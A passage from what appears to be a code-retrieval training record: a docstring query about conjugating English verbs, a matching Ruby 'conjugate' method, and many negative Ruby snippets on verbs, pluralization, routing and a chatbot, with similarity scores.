= stack_pop();\n stack_push(object_class(state, t1));\n CODE\n end", "def define_class_method(name, &block)\n (class << self; self; end).instance_eval do\n define_method name, &block\n end\n end", "def initialize(options = {}, &block)\n\t\t \n\t\t\tyield self unless block == nil\n\t\tend" ]
[ "0.6470346", "0.64424914", "0.6314247", "0.6301736", "0.62834764", "0.61965704", "0.60885876", "0.60499984", "0.59943265", "0.5957604", "0.59174836", "0.5916899", "0.5915013", "0.58891463", "0.5831524", "0.58090216", "0.5808106", "0.5806176", "0.57914156", "0.5780442", "0.5776086", "0.57683116", "0.57545495", "0.5725687", "0.5720856", "0.5708402", "0.5708402", "0.5708402", "0.57082915", "0.56968534", "0.5661044", "0.565995", "0.5643184", "0.5642132", "0.5641274", "0.5637496", "0.56370807", "0.56370807", "0.5635785", "0.56259584", "0.5621097", "0.561724", "0.56169796", "0.56091547", "0.5577833", "0.5572176", "0.5563596", "0.55509627", "0.55468595", "0.55375326", "0.55372536", "0.5530024", "0.5526254", "0.5517447", "0.5516725", "0.55004656", "0.54925364", "0.5487881", "0.5486633", "0.54814976", "0.5478252", "0.54736805", "0.5472417", "0.54655737", "0.5450696", "0.54432297", "0.5442536", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437464", "0.5437378", "0.5431425", "0.5430446", "0.5427978", "0.54278517", "0.5413216", "0.5408428", "0.5408418", "0.539946", "0.539761", "0.53908974", "0.5386547", "0.53831667", "0.53819454" ]
0.0
-1
Using options given, determine the conjugation and the subject Return the subject, if there is one, and the proper conjugation Params: infinitive, the given verb options, the list of parameters to alter the conjugation
def conjugate(infinitive, options = {}) infinitive = infinitive.dup if infinitive.is_a?(String) # set all options according to parameter, or the default tense = options[:tense] || :present # present, past, future person = options[:person] || :third # first, second, third plurality = options[:plurality] || :singular # singular, plural diathesis = options[:diathesis] || :active # active, passive mood = options[:mood] || :indicative # imperative, subjunctive aspect = options[:aspect] || default_aspect(options) # perfective, habitual, progressive, perfect, prospective check_for_improper_constructions(infinitive, tense, person, mood, diathesis) # find incompatabilities form = form_for(tense, aspect, diathesis) # find form array based on tense and aspect # map form array to conjugation array, applying infinitive and options to the array conjugation = form.map { |e| resolve e, infinitive, tense, person, plurality, mood }.join(' ').strip if options[:subject] # When options includes a subject, actor = options.delete(:subject) # remove from options and make subject humanized actor = subject(options).humanize if actor.is_a?(TrueClass) end "#{actor} #{conjugation}".strip end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def subject(options)\n case [options[:person], options[:plurality]]\n when %i[first singular]\n 'I'\n when %i[first plural]\n 'we'\n when %i[second singular], %i[second plural]\n 'you'\n when %i[third singular]\n 'he'\n when %i[third plural]\n 'they'\n end\n end", "def present_conjugate\n\t\tif defined?(@stem)\n\t\t\t[\"ich #{@stem}e\",\n\t\t\t\"du #{@stem}st\",\n\t\t\t\"er,sie, es #{@stem}t\",\n\t\t\t\"wir #{@stem}en\",\n\t\t\t\"ihr #{@stem}t\",\n\t\t\t\"sie,Sie #{@stem}en\"]\n\t\telse\n\t\t\tputs \"Could not work with the verb: #{@infinitive}\"\n\t\tend\n\tend", "def subject(options = {})\n options = { :capitalize => true, :case => Grammar::Case::SUBJECT }.merge(options)\n pronoun_or_noun(@subject, @audience, options)\n end", "def subject_for(from_name, conversation_with, verb=\"sent\", suffix=\"video\")\n \n case conversation_with.count\n when 0 \n \"#{from_name} #{verb} you #{suffix}\"\n when 1\n \"#{from_name} #{verb} you and #{nickname_for_user_or_email(conversation_with[0])} #{suffix}\"\n when 2\n \"#{from_name} #{verb} you, #{nickname_for_user_or_email(conversation_with[0])} and #{nickname_for_user_or_email(conversation_with[1])} #{suffix}\"\n else\n others = conversation_with[0..1].map { |p| nickname_for_user_or_email(p) } .join(\", \")\n \"#{from_name} #{verb} you, #{others} and #{pluralize(conversation_with.count-2, 'other')} #{suffix}\"\n end\n end", "def conjugate_in_the_present_subjunctive(pronoun, verb)\n verb_ending, root = get_verb_ending_and_root(verb)\n if verb_ending == 'ar'\n root + %W[e es e emos éis en][pronoun_index(pronoun)]\n else # er and ir are the same\n root + %W[a as a amos áis an][pronoun_index(pronoun)]\n end\n end", "def present_participle_with_doubled_terminal_consonant_for(verb)\n if /c$/ =~ verb.to_s\n present_participle verb.to_sym\n else\n present_participle verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end\n end", "def prepare_message\n case self.option_types\n when \"quick replies\"\n self.to_message_with_quick_replies\n when \"buttons\"\n self.to_message_with_buttons\n when \"templates\"\n self.to_message_with_templates\n when \"none\"\n self.to_simple_message\n end\n end", "def regular_preterite_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n if verb.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{DOUBLED_CONSONANT_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(verb.to_sym)\n return regular_preterite_with_doubled_terminal_consonant_for verb\n end\n\n case verb.to_s\n when /(#{CONSONANT_PATTERN}e|ye|oe|nge|ie|ee|ue)$/\n infinitive.concat('d').to_sym\n when /#{CONSONANT_PATTERN}y$/\n infinitive.gsub(/y$/, 'ied').to_sym\n when /c$/\n infinitive.gsub(/c$/, 'cked').to_sym\n else\n infinitive.concat('ed').to_sym\n end\n end", "def present_third_person_singular_form_for(verb)\n infinitive = verb.is_a?(Verb) ? verb.infinitive.to_s : verb.to_s\n\n case infinitive\n when /[a-z&&#{CONSONANT_PATTERN}]y$/i\n \"#{infinitive[0..-2]}ies\"\n when /(ss|sh|t?ch|zz|x|#{CONSONANT_PATTERN}o)$/i\n \"#{infinitive}es\"\n when /[^s]s$/i\n \"#{infinitive}ses\"\n else\n \"#{infinitive}s\"\n end\n end", "def subject\n @options.fetch(:subject) { \"Invitation\" }\n end", "def pronoun_or_noun(noun, audience, options = {})\n return '' if noun.blank?\n\n options = {\n :force_pronoun => false,\n :force_noun => false,\n :capitalize => false,\n :case => Grammar::Case::SUBJECT\n }.merge(options)\n\n person = Grammar::Person::parse(noun, audience)\n\n if options[:force_noun] || (person == Grammar::Person::THIRD && !options[:force_pronoun])\n result = noun.to_s\n result += \"'s\" if options[:case] == Grammar::Case::POSSESSIVE\n else\n number = Grammar::Number::parse(noun)\n gender = options[:gender] || (Grammar::Gender::parse(noun) rescue Grammar::Gender::NEUTER)\n kase = options[:case]\n result = Grammar::Pronoun::pronoun_for(person, number, kase, gender)\n result = options[:capitalize] ? result.capitalize : result.downcase\n end\n result\n end", "def object(options = {})\n kase = @subject == @object ? Grammar::Case::REFLEXIVE : Grammar::Case::DIRECT_OBJECT\n options = { :case => kase }.merge(options)\n pronoun_or_noun(@object, @audience, options)\n end", "def explain2(options={})\n animal = options[:the]\n sound = options[:says]\n \"the #{animal} says #{sound}\"\nend", "def verb_params\n @forms = [:je, :tu, :il, :nous, :vous, :ils]\n @t = [:présent => @forms, :passé_composé => @forms, :imparfait => @forms, :plus_que_parfait => @forms,\n :passé_simple => @forms, :passé_antérieur => @forms, :futur_simple => @forms, :futur_antérieur => @forms,:subjonctif_présent => @forms,\n :subjonctif_passé => @forms,:subjonctif_imparfait => @forms, :subjonctif_plus_que_parfait => @forms, :conditionnel_présent => @forms, :conditionnel_passé_première => @forms, :conditionnel_passé_deuxième => @forms]\n @par = [:infinitive, :translation, :group].concat(@t)\n params.require(:verb).permit(@par)\n end", "def explain(options={})\n \"the #{options[:the]} says #{options[:says]}\"\nend", "def get_verb_description()\n v = (self.must_insert? ? I18n.t(:must_insert, :scope => [:schedule]).upcase : '')\n v = v + \"/ \" if (v != \"\") and self.must_move?\n v = v + ( (self.must_move?) ? I18n.t(:must_move, :scope => [:schedule]).upcase : '' )\n v = v + \"/ \" if (v != \"\") and self.must_call? and (self.must_move? or self.must_insert?)\n v = v + ( (self.must_call?) ? I18n.t(:must_call, :scope => [:schedule]).upcase : '' )\n v\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def get_regular(verb)\n case verb\n when /(ch|s|sh|x|z)$/\n return verb + 'es'\n when /(ay|ey|oy|uy)$/\n return verb + 's'\n when /[^aeiou]y$/\n return verb[ 0..-2 ] + 'ies'\n else\n return verb + 's'\n end\n end", "def explain3(options={})\n animal = options.fetch(:the) { \"cow\" }\n sound = options.fetch(:says){ \"moo\" }\n \"the #{animal} says #{sound}\"\nend", "def verb\n verb_path[0] if verb_path\n end", "def verb\n words.find { |wor| wor.pos == 'VERB' }\n end", "def kase_person_verb_type_and_time_in_words(kase, options={})\n \"%{name} %{verb_and_type} %{time}\" % {\n :name => link_to(h(kase.person.username_or_title_and_full_name), person_path(kase.person),\n options[:pcard] ? {:class => \"pcard\", :rel => member_url([@tier, kase.person], :pcard)} : {}),\n :verb_and_type => case kase.kind \n when :problem then \"reported this problem\".t\n when :question then \"asked this question\".t\n when :praise then \"gave praise\".t\n when :idea then \"shared this idea\".t\n else \"posted this case\".t\n end,\n :time => \"%{time} ago\".t % {:time => time_ago_in_words_span_tag(kase.created_at)}\n }\n end", "def is_verb? m\n is_token?(m) || is_absolute_iri?(m)\n end", "def verb?\n !verb.nil?\n end", "def subjectify(options = {})\n SubjectifyService.new(options[:value]).content\n end", "def to_s\n\t\t\"Verb: #{@infinitive}\"\n\tend", "def find(any_verb_form)\n end", "def options_for_kase(options={})\n options = options.symbolize_keys\n options.reverse_merge!({:language_code => Utility.language_code || 'en', \n :country_code => Utility.country_code || 'US'})\n options = (params[:kase] || {}).symbolize_keys.merge({:kind => params[:kind], :title => params[:title]}.reject {|k,v| v.blank?}.merge(options))\n \n # determine kind\n kind = case options[:kind] || self.kase_type.to_s\n when /problem/ then :problem\n when /idea/ then :idea\n when /praise/ then :praise\n when /question/ then :question\n end\n options.delete(:kind)\n \n options.merge!({\n :person => @person,\n :tier => @tier,\n :topics => [@topic].compact,\n :type => kind\n }.reject {|k,v| v.blank?})\n options\n end", "def verb\n\t\tif link = self.links.find {|link| link.llabel =~ /^(O([DFNTX]?)|P|BI|K|LI|MV|Q)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: LL of %p is %s\" % [ link.lword, link, link.llabel ]\n\t\t\treturn link.lword.sub( /\\.v$/, '' )\n\t\telsif link = self.links.find {|link| link.rlabel =~ /^(SI|S|AF)[a-z\\*]*/ }\n\t\t\t# $deferr.puts \"Picking %s: RL of %p is %s\" % [ link.rword, link, link.rlabel ]\n\t\t\treturn link.rword.sub( /\\.v$/, '' )\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend", "def get_verbs\n @verbs ||= self.verbs\n end", "def message\n if negation?\n \t\targument.con_statement\n \telse\n \t\targument.pro_statement\n \tend\n end", "def verbs\n pos 'VERB'\n end", "def proverb_params\n params.require(:proverb).permit(:english, :translation, :active)\n end", "def present_participle\n plural = self.obj.to_s.en.plural_verb\n\n\t\tplural.sub!( /ie$/, 'y' ) or\n\t\t\tplural.sub!( /ue$/, 'u' ) or\n\t\t\tplural.sub!( /([auy])e$/, '$1' ) or\n\t\t\tplural.sub!( /i$/, '' ) or\n\t\t\tplural.sub!( /([^e])e$/, \"\\\\1\" ) or\n\t\t\t/er$/.match( plural ) or\n\t\t\tplural.sub!( /([^aeiou][aeiouy]([bdgmnprst]))$/, \"\\\\1\\\\2\" )\n\n return \"#{plural}ing\"\n\tend", "def buildSubjClause(subject, tableName)\n case subject\n # when REGEXTerm\n # when Array\n when Graph\n [\"#{tableName}.subject=?\", self.normalizeTerm(subject.identifier)]\n else\n [\"#{tableName}.subject=?\", subject] if subject\n end\n end", "def ingverb; end", "def verb\r\n self.class.verb\r\n end", "def message\n verb\n end", "def combine_subjects\n @sentences.each_cons(2) do |s1, s2|\n if s1.subject == s2.subject\n s2.subject = Pronoun.new(s1.subject.gender)\n end\n end\n end", "def optionMapping(options, name, mes = false)\n # in this method I recieve the missing options for a given choice which I \n # then map over and add to the global string \n # incase this method wants to be used by another program for example the rspec\n # I have added the mes variable if given a string it will use that string instead of\n # what was left over from a previous method\n mes ? $message = mes : \"\"\n string = name + \":\"\n options.map do |n, i|\n # if value isn't the first options a comma is added to the start of the \n # word to separate it from the one before it\n options.keys[0] === n ? string = string + \" \" + n : string = string + \", \" + n \n\n end\n $message = $message + string + \"\\n\"\nend", "def bob(sentence)\n\tif sentence.empty?\n\t\t\"Fine. Be that way!\"\n\telsif sentence == sentence.upcase && sentence != sentence.downcase\n\t\t\"Woah, chill out\"\n\telsif sentence.end_with?(\"?\")\n\t\t\"Sure\"\n\telse\n\t\t\"Whatever\"\n\t\t\n\tend\n\t\nend", "def _process(tape:, **args)\n result = in_order(handlers: [SubjectClause, VerbObjectClause],\n tape: tape, **args)\n\n return fail(tape: tape) unless result.succeeded\n\n succeed(\n tape: tape,\n output: Statement.new(\n subject: result[:output][0],\n verb_object: result[:output][1]\n )\n )\n end", "def conjugate(ppl)\n first_pp = ppl.first_principal_part\n full_conjugation = []\n ppl.each do |ppart|\n next unless @principal_part_num == ppart.part_num\n next if @tense == 'a' && ppart.is_second_aorist? # skip 1st aorist when appropr.\n next if @tense == '2' && ppart.is_first_aorist? # skip 1st aorist when appropr.\n @endings.each do |form_info|\n number, g_case, person_ending, ap = form_info\n form = add_ending(ppart.unaugmented_stem, person_ending, ap)\n form = ppart.is_rough? ? Breathing.rough(form) : Breathing.smooth(form)\n @voices.each do |voice|\n code = \"vp#{g_case}#{number}#{@gender}#{@tense}#{voice}\"\n english_conjugations = EnglishConjugator.conjugate(code, ppl.english_principal_parts)\n full_conjugation << [code, form, ppl.aspirated_accented_first_pp, english_conjugations]\n end\n end\n end\n return full_conjugation\n end", "def present_participle(infinitive)\n if infinitive.to_s.match(/#{CONSONANT_PATTERN}#{VOWEL_PATTERN}#{CONSONANTS_WITHOUT_C_PATTERN}$/) &&\n !conjugations.single_terminal_consonants.include?(infinitive.to_sym)\n return present_participle_with_doubled_terminal_consonant_for infinitive\n end\n\n case infinitive.to_s\n when /c$/\n \"#{infinitive}k\"\n when /(^be|ye|oe|nge|ee)$/\n infinitive.to_s\n when /ie$/\n infinitive.to_s.gsub(/ie$/, 'y')\n when /#{VOWEL_PATTERN}#{CONSONANT_PATTERN}e$/, /ue$/\n infinitive.to_s[0..-2]\n else # rubocop:disable Lint/DuplicateBranch\n infinitive.to_s\n end.dup.concat('ing').to_sym\n end", "def set_verb\n @verb = Verb.find(params[:id])\n end", "def explain4(*args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n animal = args[0] || options.fetch(:the) { \"cow\" }\n sound = args[1] || options.fetch(:says){ \"moo\" }\n \"the #{animal} says #{sound}\"\nend", "def possible_chapter(toks, toksnp, tokslcnp, idx)\n if @possible_chapter\n @possible_chapter\n else\n @possible_chapter =\n ((possible_editor(toks, toksnp, tokslcnp, idx) and\n (toks.join(\" \") =~ /[\\.,;]\\s*in[:\\s]/i)) ?\n \"possibleChapter\" : \"noChapter\")\n end\n end", "def note *subjects, **statements, &block\n return Array( subjects ).each { |s| __facts__[s].push_ordered s } if\n statements.empty?\n subjects << __obj__ if subjects.empty?\n Array( subjects ).each { |subj|\n statements.each { |verb, obj| __facts__[subj].push_named verb => obj }\n }\n return statements.first[1]\n end", "def subjectify(options = {})\n result = []\n all_subjects = []\n sub_array = []\n options[:value].each_with_index do |subject, i|\n spl_sub = subject.split(QUERYSEP)\n sub_array << []\n subject_accum = ''\n spl_sub.each_with_index do |subsubject, j|\n spl_sub[j] = subject_accum + subsubject\n subject_accum = spl_sub[j] + QUERYSEP\n sub_array[i] << spl_sub[j]\n end\n all_subjects[i] = subject.split(QUERYSEP)\n end\n options[:value].each_with_index do |_subject, i|\n lnk = ''\n lnk_accum = ''\n all_subjects[i].each_with_index do |subsubject, j|\n lnk = lnk_accum + link_to(subsubject,\n \"/?f[subject_facet][]=#{CGI.escape sub_array[i][j]}\",\n class: 'search-subject', title: \"Search: #{sub_array[i][j]}\")\n lnk_accum = lnk + content_tag(:span, SEPARATOR, class: 'subject-level')\n end\n result << sanitize(lnk)\n end\n result\n end", "def stringify \n name= params[:name]\n adjective=params[:adjective]\n\n if name!=\"\" && adjective!=\"\"\n @text=name + \" is so \" + adjective\n elsif name!=\"\" && adjective==\"\"\n @text=name + \" ,Adjective is missing\"\n elsif adjective!=\"\" && name==\"\"\n @text=\"Name is missing, adjective = \" + adjective\n else\n @text = + \"You are nothing!\"\n end\n end", "def c\n return $consonants.choice\nend", "def dynamic_phrase_3\r\n one_it = 'one'\r\n\r\n # Verse 0: **Go to the store and buy some more**\r\n if zero_bottles?\r\n 'Go to the store and buy some more'\r\n else\r\n # Verse 1: **it**\r\n if one_bottle?\r\n one_it = 'it'\r\n end\r\n # Verse x: **Take one down and pass it around**\r\n \"Take #{one_it} down and pass it around\"\r\n end\r\n end", "def getRealInformation(csa)\n puts 'Information from CSA'\n puts 'Option 1: Go to Simple Information'\n puts 'Option 2: Go to statistic Information'\n puts 'Option 3: List all of the cities available'\n puts 'Option 4: Get All Routes'\n puts 'Option 5: Modify Routes'\n puts 'Option 6: Save Information'\n puts 'Option 7: Route Information'\n puts 'Option 8: Shortest Route'\n puts 'Option 9: Merge File'\n puts 'Option 10: Escape'\n \n option = gets\n option = checkEndCon(option.to_i, 1,10)\n \n return option\n \n end", "def what_is_ur_objective(sender_id)\n Bot.on :message do |message|\n answer = message.text.downcase\n if answer.include?(\"non\")\n say(sender_id, \"Okay ! N'hésite pas à revenir si tu as besoin d'aide !\")\n else\n say(sender_id, IDIOMS[:objectives], OBJECTIVES)\n handle_objective(sender_id)\n end\n end\nend", "def build_email_kase(options={})\n EmailKase.new({\n :kase => self,\n :subject => \"%{name} wants to know what you think\".t % {:name => self.person.casualize_name}\n }.merge(options))\n end", "def regular_preterite_with_doubled_terminal_consonant_for(verb)\n regular_preterite_for verb.to_s.concat(verb.to_s[-1, 1]).to_sym\n end", "def description(options={}) #:nodoc:\n message = super(options)\n message.strip!\n\n optionals = self.class.matcher_optionals.map do |optional|\n if @options.key?(optional)\n value = @options[optional]\n defaults = [ (value ? :positive : :negative) ]\n\n # If optional is a symbol and it's not any to any of the reserved symbols, search for it also\n defaults.unshift(value) if value.is_a?(Symbol) && !OPTIONAL_KEYS.include?(value)\n defaults << ''\n\n options = { :default => defaults, :inspect => value.inspect, :value => value.to_s }\n translate_optionals_with_namespace(optional, defaults.shift, options)\n else\n translate_optionals_with_namespace(optional, :not_given, :default => '')\n end\n end.compact\n\n message << ' ' << array_to_sentence(optionals)\n message.strip!\n message\n end", "def genderToObjectivePronoun(gender)\n if gender == nil\n return '(unknown gender)'\n end #TODO: Raise exception if unknown detected\n\n if gender == :male || gender.downcase == 'male'\n return 'him'\n else\n return 'her'\n end\n #TODO: Raise exception if unknown detected\n end", "def pluralize_special_verb( word, count )\n\t\tself.log.debug \"Trying to pluralize %p as a special verb...\" % [ word ]\n\t\tcount ||= 1\n\t\tcount = normalize_count( count )\n\n\t\tif /^(#{PL_count_one})$/i =~ count.to_s\n\t\t\tself.log.debug \" it's a single-count word, returning it unchanged.\"\n\t\t\treturn word # :FIXME: should this return nil instead?\n\t\t\t# return nil\n\t\tend\n\n\t\t# Handle user-defined verbs\n\t\t#if value = ud_match( word, PL_v_user_defined )\n\t\t#\treturn value\n\t\t#end\n\n\t\tcase word\n\n\t\t# Handle irregular present tense (simple and compound)\n\t\twhen /^(#{PL_v_irregular_pres})((\\s.*)?)$/i\n\t\t\tkey = $1.downcase\n\t\t\tself.log.debug \" yep, it's an irregular present tense verb (%p)\" % [ key ]\n\t\t\treturn PL_v_irregular_pres_h[ $1.downcase ] + $2\n\n\t\t# Handle irregular future, preterite and perfect tenses\n\t\twhen /^(#{PL_v_irregular_non_pres})((\\s.*)?)$/i\n\t\t\tself.log.debug \" yep, it's an irregular non-present tense verb (%p)\" % [ key ]\n\t\t\treturn word\n\n\t\t# Handle special cases\n\t\twhen /^(#{PL_v_special_s})$/\n\t\t\tself.log.debug \" it's a not special-case verb; aborting.\"\n\t\t\treturn nil\n\n\t\t# Handle standard 3rd person (chop the ...(e)s off single words)\n\t\twhen /^(.*)([cs]h|[x]|zz|ss)es$/i\n\t\t\tbase, suffix = $1, $2\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + %p)\" % [ base, suffix ]\n\t\t\treturn base + suffix\n\t\twhen /^(..+)ies$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + ies -> +y)\" % [ verb ]\n\t\t\treturn \"#{verb}y\"\n\t\twhen /^(.+)oes$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + oes -> +o)\" % [ verb ]\n\t\t\treturn \"#{verb}o\"\n\t\twhen /^(.*[^s])s$/i\n\t\t\tverb = $1\n\t\t\tself.log.debug \" it's a standard third-person verb (%p + (^s)s -> -s)\" % [ verb ]\n\t\t\treturn verb\n\n\t\t# Otherwise, a regular verb (handle elsewhere)\n\t\telse\n\t\t\tself.log.debug \" nope. Either a regular verb or not a verb.\"\n\t\t\treturn nil\n\t\tend\n\tend", "def plural_verb( count=2 )\n\t\tphrase = self.to_s\n\t\tmd = /\\A(\\s*)(.+?)(\\s*)\\Z/.match( phrase )\n\t\tpre, word, post = md.captures\n\n\t\treturn phrase if word.nil? or word.empty?\n\n\t\tplural = postprocess( word,\n\t\t\tpluralize_special_verb(word, count) ||\n\t\t\tpluralize_general_verb(word, count) )\n\n\t\treturn pre + plural + post\n\tend", "def yodawg(noun, verb=nil)\n\tif !verb\n\t\tverb=noun\n\tend\n\t\"Yo dawg, I heard you liked #{noun.en.plural}, so I put #{noun.en.a} in your #{noun} so you can #{verb} while you #{verb}!\"\nend", "def indefinite_personal_subjective_pronoun\n return \"it\"\n end", "def prompt(message=\"Are you sure?\", options=\"Yn\")\n opts = options.scan(/./)\n optstring = opts.join(\"/\") # case maintained\n defaults = opts.select{|o| o.upcase == o }\n opts = opts.map{|o| o.downcase}\n\n raise \"Error: Too many default values for the prompt: #{default.inspect}\" if defaults.size > 1\n\n default = defaults.first\n\n loop do\n\n print \"#{message} (#{optstring}) \"\n\n response = STDIN.gets.strip.downcase\n\n case response\n when *opts\n return response\n when \"\"\n return default.downcase\n else\n puts \" |_ Invalid option: #{response.inspect}. Try again.\"\n end\n\n end\nend", "def prompt(message=\"Are you sure?\", options=\"Yn\")\n opts = options.scan(/./)\n optstring = opts.join(\"/\") # case maintained\n defaults = opts.select{|o| o.upcase == o }\n opts = opts.map{|o| o.downcase}\n\n raise \"Error: Too many default values for the prompt: #{default.inspect}\" if defaults.size > 1\n\n default = defaults.first\n\n loop do\n\n print \"#{message} (#{optstring}) \"\n\n response = STDIN.gets.strip.downcase\n\n case response\n when *opts\n return response\n when \"\"\n return default.downcase\n else\n puts \" |_ Invalid option: #{response.inspect}. Try again.\"\n end\n\n end\nend", "def madlib\n\tputs \"It's time for MadLibs!\"\n\tputs \"Adjective?\"\n\tadj1 = gets.chomp\n\tputs \"Name?\"\n\tname1 = gets.chomp\n\tputs \"Another adjective?\"\n\tadj2 = gets.chomp\n\tputs \"Body part?\"\n\tbody = gets.chomp\n\tputs \"Noun?\"\n\tnoun = gets.chomp\n\tputs \"Job?\"\n\tjob1 = gets.chomp\n\tputs \"One more adjective?\"\n\tadj3 = gets.chomp\n\tputs \"Another name?\"\n\tname2 = gets.chomp\n\tputs \"Another job?\"\n\tjob2 = gets.chomp\n\tputs \"Verb ending in -ing?\"\n\tverb = gets.chomp\n\tif verb.end_with?(\"ing\") == false\n\t\tputs \"Try another verb. Make sure it ends with -ing!\"\n\t\tverb = gets.chomp\n\telse\nend\n\n\tputs \"Thank You! Thank you from the bottom of my #{body}. I don't know what to say. I'm speechless.\"\n\tputs \"I truly didn't expect to win this #{noun}, certainly not with so many #{adj1} actors competing in the same category.\"\n\tputs \"First and foremost, my thanks to #{name1}. You couldn't work with a better #{job1}.\"\n\tputs \"And I'm sure I wouldn't be #{verb} here tonight if it weren't for my #{adj2} director.\"\n\tputs \"I must also thank #{name2}, who wrote a #{adj3} script for me.\"\n\tputs \"Of course, none of this would be happening if it weren't for my agent, who convinced the network that I could play a 75 year-old, retired #{job2}.\"\nend", "def build_selected_options options=nil\n options ||= vote_proposal_options\n options.map(&:name).sort.join(\"|\") \n end", "def exemplifies\n if self.alternation_values_examples.any?\n self.alternation_values.first.alternation\n elsif self.coding_frame_examples.any?\n self.coding_frames.first\n elsif self.verbs.any?\n self.verbs.first\n else\n \"other\"\n end\n end", "def other_subjectify(options = {})\n generate_links(:subject, options)\n end", "def set_proverb\n @proverb = Proverb.find(params[:id])\n end", "def ask_question(question, options)\n say question\n say \"Your options are: #{options}\"\n gets.chomp.capitalize.strip\nend", "def tell_the_truth(options={})\n if options[:profession] == :lawyer\n 'i cant'\n else\n true\n end\nend", "def parse_route(path, options, verb)\n path = path.dup if path.kind_of?(String)\n route_options = {}\n\n if options[:params] == true\n options.delete(:params)\n elsif options.include?(:params)\n options[:params] ||= []\n options[:params] |= Array(options[:with]) if options[:with]\n end\n\n # We need check if path is a symbol, if that it's a named route.\n map = options.delete(:map)\n\n # path i.e :index or :show\n if path.kind_of?(Symbol)\n name = path\n path = map ? map.dup : (path == :index ? '/' : path.to_s)\n end\n\n # Build our controller\n controller = Array(@_controller).map(&:to_s)\n\n case path\n when String # path i.e \"/index\" or \"/show\"\n # Now we need to parse our 'with' params\n if with_params = options.delete(:with)\n path = process_path_for_with_params(path, with_params)\n end\n\n # Now we need to parse our provides\n options.delete(:provides) if options[:provides].nil?\n \n options.delete(:accepts) if options[:accepts].nil?\n\n if @_use_format || options[:provides]\n process_path_for_provides(path)\n # options[:add_match_with] ||= {}\n # options[:add_match_with][:format] = /[^\\.]+/\n end\n\n absolute_map = map && map[0] == ?/\n\n unless controller.empty?\n # Now we need to add our controller path only if not mapped directly\n if !map && !absolute_map\n controller_path = controller.join(\"/\")\n path.gsub!(%r{^\\(/\\)|/\\?}, \"\")\n path = File.join(controller_path, path) unless @_map\n end\n end\n\n # Now we need to parse our 'parent' params and parent scope.\n if !absolute_map and parent_params = options.delete(:parent) || @_parent\n parent_params = (Array(@_parent) + Array(parent_params)).uniq\n path = process_path_for_parent_params(path, parent_params)\n end\n\n # Add any controller level map to the front of the path.\n path = \"#{@_map}/#{path}\".squeeze('/') unless absolute_map || !@_map\n\n # Small reformats\n path.gsub!(%r{/\\?$}, '(/)') # Remove index path\n path.gsub!(%r{//$}, '/') # Remove index path\n path[0,0] = \"/\" if path !~ %r{^\\(?/} # Paths must start with a /\n path.sub!(%r{/(\\))?$}, '\\\\1') if path != \"/\" # Remove latest trailing delimiter\n path.gsub!(/\\/(\\(\\.|$)/, '\\\\1') # Remove trailing slashes\n path.squeeze!('/')\n when Regexp\n route_options[:path_for_generation] = options.delete(:generate_with) if options.key?(:generate_with)\n end\n\n name = options.delete(:route_name) if name.nil? && options.key?(:route_name)\n name = options.delete(:name) if name.nil? && options.key?(:name)\n if name\n controller_name = controller.join(\"_\")\n name = \"#{controller_name} #{name}\".to_sym unless controller_name.empty?\n end\n\n options[:default_values] = @_defaults unless options.has_key?(:default_values)\n\n [path, name, parent_params, options, route_options]\n end", "def choose_subject(action, params = {})\n scope = [:mailers, mailer_name, action]\n key = :subject\n experiment_name = \"#{mailer_name}_mailer_#{action}_subject\".to_sym\n if experiment_active?(experiment_name)\n scope << key\n key = ab_test(experiment_name)\n end\n params.merge!(scope: scope)\n I18n.t(key, params)\n end", "def subject(*extra)\n subject = \"\"\n subject << \"#{@project.name} | \" if @project\n subject << extra.join(' | ') if extra.present?\n subject\n end", "def subject\n self['subject'] || msg['subject']\n end", "def pluralizer number,noun\n if number <= 0\n \"No #{noun}\"\n elsif number == 1\n \"#{number} #{noun}\" \n else\n if noun.downcase == 'geese'\n noun = 'goose'\n elsif noun.downcase == 'child'\n noun = 'children'\n elsif noun.downcase == 'person'\n noun = 'people'\n else\n noun = noun.concat('s')\n end\n \"#{number} #{noun}\"\n end\nend", "def analyze(s)\n @lines.push(s)\n return if s == \"\"\n tokens = string_to_symbol_array(s)\n paste_subject(tokens)\n pattern = get_pattern(tokens)\n type, _ = pattern\n \n case type\n when :set_subject\n _, @subject = pattern\n \"OK, lets talk about #{@subject}\"\n\n when :what_is_question\n _, @subject = pattern\n definition = what_is?(@subject)\n if definition != :not_defined\n \"#{a_or_an(@subject).capitalize} #{@subject} is #{a_or_an(definition)} #{definition}\"\n else\n \"I don't know\"\n end\n \n when :what_has_question\n _, @subject = pattern\n components = what_has?(@subject)\n first_part = \"#{a_or_an(@subject).capitalize} #{@subject} has \"\n if components.size == 0\n second_part = \"nothing\"\n else\n a = []\n components.each do |c|\n nr = c[:count]\n name = c[:component]\n if nr == 1\n a.push(\"one #{name}\")\n else\n a.push(\"#{nr} #{pluralis(name)}\")\n end\n end\n second_part = a.join(\", \")\n end\n return first_part + second_part\n \n when :is_a_question\n _, @subject, object = pattern\n is?(@subject, object) ? \"Yes\" : \"No\"\n \n when :has_a_question\n _, @subject, object = pattern\n has?(@subject, object) ? \"Yes\" : \"No\"\n \n when :define_class\n _, @subject, definition = pattern\n if @subject == :noun then return \"A noun must be a noun\" end\n @classes[@subject] = definition\n if what_is?(definition) == :not_defined\n \"OK, what is #{a_or_an(definition)} #{definition}?\"\n else\n \"OK\"\n end\n \n when :define_component\n _, @subject, count, component = pattern\n #puts \"Count: #{count}, component: #{component}\"\n if @components.has_key?(@subject)\n @components[@subject].push({ :component => component, :count => count })\n else\n a = []\n a.push({ :component => component, :count 